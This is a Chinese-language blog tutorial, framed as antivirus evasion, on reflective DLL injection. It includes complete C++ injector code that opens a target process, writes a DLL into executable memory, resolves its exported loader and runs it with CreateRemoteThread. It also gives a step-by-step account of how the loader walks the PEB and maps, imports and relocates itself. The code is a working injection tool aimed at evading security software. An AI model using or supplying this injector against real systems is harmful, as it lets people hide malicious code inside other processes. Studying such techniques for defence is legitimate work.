【免杀】反射式DLL注入详解
公众号:https://mp.weixin.qq.com/s/M92n3e-yCG64ry9GLt5A3A
或许我们的公众号会有更多你感兴趣的内容

【免杀】反射式DLL注入详解
在前文:PE文件格式解析、常见的DLL和Shellcode注入方式中已经讲解了基本的注入方式和PE文件结构。那么我们可以提出这样指一种注入方式:将dll的内容放到目标进程中,然后找到这个dll完成PE映射到内存的函数(假设为void loader()),这也要求loader函数一定要在导出表上。
- 获得dll
loader函数在内存中的虚拟地址 - 注入器将dll写入目标进程然后调用
loader - loader运行
注入器编写
-
打开dll文件
std::string path;
DWORD pid;
std::cout << "[+] pid: ";
scanf_s("%d", &pid);
std::cin.ignore();
std::cout << "[+] DLL Path: ";
std::getline(std::cin, path);
//1.打开dll文件
HANDLE hFile = CreateFileA(path.c_str(), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
std::cout << "Create File Failed\n";
return 0;
}
DWORD dwFileSize = GetFileSize(hFile, NULL);
if (dwFileSize == 0) {
std::cout << "File Size is Zero!\n";
CloseHandle(hFile);
return 0;
} -
将dll写入到目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == INVALID_HANDLE_VALUE) {
std::cout << "Allocate Address or Open Process Failed\n";
CloseHandle(hFile);
return 0;
}
LPVOID pBase = VirtualAllocEx(hProcess, NULL, (SIZE_T)dwFileSize + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pBase == NULL) {
std::cout << "Allocate Memory Failed\n";
CloseHandle(hFile);
CloseHandle(hProcess);
return 0;
}
SIZE_T dwWriteSize = 0;
char* buffer = new char[dwFileSize];
DWORD dwReadSize;
if (ReadFile(hFile, buffer, dwFileSize, &dwReadSize, NULL) == FALSE) {
std::cout << "Failed to read the file.\n";
delete[] buffer;
VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT);
CloseHandle(hFile);
CloseHandle(hProcess);
return 0;
}
bool bRet = WriteProcessMemory(hProcess, pBase, buffer, dwFileSize, &dwWriteSize);
if (dwWriteSize != dwFileSize) {
std::cout << "File Load partitially\n";
delete[] buffer;
VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT);
CloseHandle(hFile);
CloseHandle(hProcess);
return 0;
} -
获得
loader函数地址按照之前提到的pe格式,就是从
IMAGE_DATA_DIRECTORY的导出表中,利用FirstThunk进行遍历,如果字符串匹配,就根据结构体的相关变量找到函数地址首先是得到RVA转换的函数
DWORD VA2RVA(DWORD64 dwRva, DWORD64 BaseAddress) {
DWORD64 VA = 0;
DWORD64 RVA = 0;
DWORD64 sectionHeader;
DWORD64 ntheader = BaseAddress + ((PIMAGE_DOS_HEADER)BaseAddress)->e_lfanew;
WORD sectionNum = ((PIMAGE_NT_HEADERS64)ntheader)->FileHeader.NumberOfSections;
for (size_t i = 0; i < sectionNum; i++)
{
sectionHeader = ntheader + sizeof(IMAGE_NT_HEADERS64) + i * sizeof(IMAGE_SECTION_HEADER);
if (((PIMAGE_SECTION_HEADER)sectionHeader)->VirtualAddress > dwRva)
break;
VA = ((PIMAGE_SECTION_HEADER)sectionHeader)->VirtualAddress;
RVA = dwRva - VA + ((PIMAGE_SECTION_HEADER)sectionHeader)->PointerToRawData;
}
return RVA;
}这里需要说明下
IMAGE_EXPORT_DIRECTORY导出表目录结构体//@[comment("MVI_tracked")]
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;AddressOfNames:函数名称地址DWORD数组,需要RVAAddressOfFunctions:Export函数地址DWORD数组,需要RVAAddressOfNameOrdinals:这是WORD数组,举个例子:目前存在着两个数组,AddressOfNames[i]和AddressOfFunctions[j],AddressOfNameOrdinals存在的意义就是可以通过下标i找到另一个j,类似数据库中的关系表
拿到
AddressOfNames去比较得到i,然后使用i从AddressOfNameOrdinals得到j,最后使用j从AddressOfFunctions找到函数地址注意得是
AddressOfNames是一个DWORD数组,并且需要根据DWORD数据重定位才能得到函数名。DWORD64 getFunctionOffset(HANDLE peBuffer, const char* funcionName) {
DWORD64 dosHeader = (DWORD64)peBuffer;
DWORD64 ntHeader = dosHeader + ((PIMAGE_DOS_HEADER)peBuffer)->e_lfanew;
//导入目录
DWORD64 eatDVA = ((PIMAGE_NT_HEADERS64)ntHeader)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
DWORD64 exportDirRVA = VA2RVA(eatDVA, dosHeader) + dosHeader;
DWORD64 exportNameAddr = VA2RVA(((PIMAGE_EXPORT_DIRECTORY)exportDirRVA)->AddressOfNames, dosHeader) + dosHeader;
DWORD64 exportFuncAddr = VA2RVA(((PIMAGE_EXPORT_DIRECTORY)exportDirRVA)->AddressOfFunctions, dosHeader) + dosHeader;
DWORD64 exportOrdinals = VA2RVA(((PIMAGE_EXPORT_DIRECTORY)exportDirRVA)->AddressOfNameOrdinals, dosHeader) + dosHeader;
DWORD sumNames = ((PIMAGE_EXPORT_DIRECTORY)exportDirRVA)->NumberOfNames;
//1.遍历找到i
for (size_t i = 0; i < sumNames; i++)
{
char* cpExportedFunctionName = (char*)(dosHeader + VA2RVA((PDWORD(exportNameAddr))[i], dosHeader));
std::cout << "func: " << cpExportedFunctionName << "\n";
if (strstr(cpExportedFunctionName, funcionName)) {
exportFuncAddr += (PWORD(exportOrdinals)[i]);
return VA2RVA(PDWORD(exportFuncAddr)[0], dosHeader);
}
}
return 0;
} -
在远程进程中加载
DWORD64 loaderFuncAddr = getFunctionOffset(buffer, "loader");
if (loaderFuncAddr == 0) {
std::cout << "Get Export Function Error\n";
delete[] buffer;
VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT);
CloseHandle(hFile);
CloseHandle(hProcess);
return 0;
}
LPTHREAD_START_ROUTINE lpReflectiveLoader = reinterpret_cast<LPTHREAD_START_ROUTINE>(
reinterpret_cast<ULONG_PTR>(pBase) + loaderFuncAddr
);
HANDLE hThread = NULL;
hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, pBase, (DWORD)NULL, NULL);
if (hThread == INVALID_HANDLE_VALUE || hThread == NULL) {
std::cout << "Create Thread Failed\n";
delete[] buffer;
VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT);
CloseHandle(hFile);
CloseHandle(hProcess);
return 0;
}
WaitForSingleObject(hThread, 500);
delete[] buffer;
VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT);
CloseHandle(hFile);
CloseHandle(hProcess);
CloseHandle(hThread);
这里我是用 https://github.com/stephenfewer/ReflectiveDLLInjection 的DLL进行测试,函数名为ReflectiveLoader

关于PEB
PEB:process environment block,处理环境块。可以参考:https://learn.microsoft.com/zh-cn/windows/win32/api/winternl/ns-winternl-peb
typedef struct _PEB { |
BeingDebugged:当前是否被调试,反调试和反反调试常用Ldr:该结构包含有关进程已加载模块的信息
typedef struct _PEB_LDR_DATA |
当程序每加载一个dll的时候,就会添加到InMemoryOrderModuleList中(三个LIST_ENTRY都会添加),LIST_ENTRY可以被解析为LDR_DATA_TABLE_ENTRY,因为数据间隔对的上…所以很抽象
typedef struct _LDR_DATA_TABLE_ENTRY { |
通过FullDllName可以得到当前dll的完整名称(带有路径),同时DllBase指向该dll的基地址(即加入到内存中的其实地址)
DLL编写
首先就是loader函数,由于我们是在PE文件没有完成映射到内存时进行调用的,那么这段函数本质上和shellcode一样是一段地址无关代码。我们应该明确这段函数能执行以下任务:
- 获得当前内存地址,方便后续解析PE文件
- 从
peb->ldr获得相关函数,如GetProcAddress、VirtualAlloc、Loadlibrary等 - 解析PE文件得到完成映射后的大小并
VirtualAlloc分配内存 - 完成Section段的映射
- 遍历导入表,使用
Loadlibrary加载本dll所需要的各种函数 - 处理重定位
- 获得PE文件中
AddressOfEntryPoint完成映射后的地址,然后跳转执行
整个过程也是非常枯燥的,以https://github.com/stephenfewer/ReflectiveDLLInjection 举例
-
获得当前内存地址,方便后续解析PE文件。首先我们要得到当前PE文件的起始部分, 项目是通过
#pragma intrinsic返回函数调用的返回地址,然后判断DOS头和NT头是否匹配来逐步调整,得到PE文件起始地址fileBase。
-
从
peb->ldr获得相关函数。项目为了做到良好的兼容性使用的是__readgsqword和_MoveFromCoprocessor(ARM),函数的作用是从相对于 GS 段开头的偏移量指定的位置读取内存,比如在GS偏移为0x60的位置就是PEB存放的位置,通过遍历PEB中的LDR可以找到所有被加载的dll的相关信息,甚至是在内存中未被映射的PE文件,例如:
项目的这一步做的过程是差不多的,



通过解析
kernel32.dll,ntdll.dll的在内存中PE文件,计算出LoadLibraryA,GetProAddress,VritualAlloc,NtFlushInstructionCache三个函数在内存中的位置,便于后续调用。这里的NtFlushInstructionCache函数,用于刷新指定进程的指令缓存NTSTATUS NtFlushInstructionCache(
HANDLE ProcessHandle,
PVOID BaseAddress,
SIZE_T RegionSize
);如果是在用户层使用的话是封装在
kernel32.dll的FlushInstructionCache中的,不过直接调用可以避免一些不必要的“检查” -
完成映射。现在我们得到了当前dll的PE文件起始位置,可以通过NT头中
OptionalHeader的SizeOfImage得到完成映射所需要的空间大小,然后用步骤2中找到的VirtualAlloc申请空间,得到内存映射的起始地址memBase。然后先把DOS头和NT头复制过去,当然头的大小也是由OptionalHeader的SizeOfHeaders可以得到的
-
完成Section段的映射
这里就不得不复习Section头的结构体了
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;完成映射的首要问题就是:从哪里,到哪里,走多少。对应的就是从
fileBase+PointerToRawData到memBase+VirtualAddress,复制SizeOfRawData大小
-
遍历导入表。为了便于分析再次展示
IMAGE_IMPORT_DESCRIPTOR结构体typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk;
} DUMMYUNIONNAME;
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name;
DWORD FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;OriginalFirstThunk:导入名称表的RVA地址Name:DLL(映像文件)名称FirstThunk:导入地址表的RVA地址
根据之前我们对PE文件格式的分析,我们首先得到的是DLL的文件名,这时候便可用之前找到的
LoadLibraryA去加载这些我们DLL需要的DLL
接着很自然的想到使用
GetProAddress去加载这些函数。具体过程是从FirstThunk中获得IMAGE_IMPORT_BY_NAME,得到函数名称后使用GetProAddress得到函数地址,最后存储到fileBase+PIMAGE_IMPORT_DESCRIPTOR.FirstThunk上。
项目这里对于其他从
OriginalFirstThunk开始的情况进行了解析,但是核心思路是一致的。 -
处理重定位。这里有之前PE文件没有说的
PIMAGE_BASE_RELOCATION(主要是之前的例子是EXE)为什么DLL需要重定位?每个DLL最初被设计时,编译器会为其分配一个首选加载地址(Preferred Base Address),这通常是一个固定的虚拟内存地址。当多个DLL被加载到同一个进程的地址空间时,如果多个DLL的首选加载地址发生冲突(即两个DLL都希望加载到同一个内存地址),操作系统无法直接将它们加载到相同的地址,为了避免这种冲突,操作系统会将其中一个或多个DLL加载到其他地址,这就需要对代码中的绝对地址进行重定位。
他保存在NT头的
OptionalHeader.DataDirectory中,结构体如下//@[comment("MVI_tracked")]
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
// WORD TypeOffset[1];
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;VirtualAddress:待修正的数据的起始RVASizeOfBlock:要修正的区块数目
在PE格式中一个
IMAGE_BASE_RELOCATION数组展现的,这也方便我们进行遍历,最后一个全部成员变量都为0,所以计算要重定位的区块数目的时候记得**-1**。
如何进行修正?
PIMAGE_BASE_RELOCATION有一个隐藏的成员TypeOffset,可以通过IMAGE_BASE_RELOCATION+ sizeof(IMAGE_BASE_RELOCATION)找到,可以被解析为typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;其中重定位的类型主要是构架的不同导致的,如32位和64位
//
// Based relocation types.
//在NT头的可选头(OptionalHeader)中有
ImageBase,他是dll加载到内存中的第一个字节的首选地址。那么所有待重定位的数据都是根据这个值相对偏移,比如ImageBase=0x1000,现在有个数据默认是在ImageBase偏移的0x10,即理想中的0x1010的位置,文件中的记录就是0x1010;但是现在ImageBase变为了0x2000,那么重定位的位置就是0x2010,由此得到公式:newData = oldData-ImageBase+newMemoryAddress。重定位的方式就是在原来的
VirtualAddress+IMAGE_RELOC.offset地址中的值加上memBase-ImageBase

-
获得PE文件中
AddressOfEntryPoint完成映射后的地址,然后跳转执行。这几乎是最简单的一步了,直接在NT头的可选头(OptionalHeader)中的AddressOfEntryPoint可以得到,这也是PE文件格式分析中强调过的,就是得算一下偏移;最后刷新指令集缓存(可以忽略,但是会增大dll调用失败概率),跳转到程序入口点AddressOfEntryPoint执行(DLL的就为DllMain了)







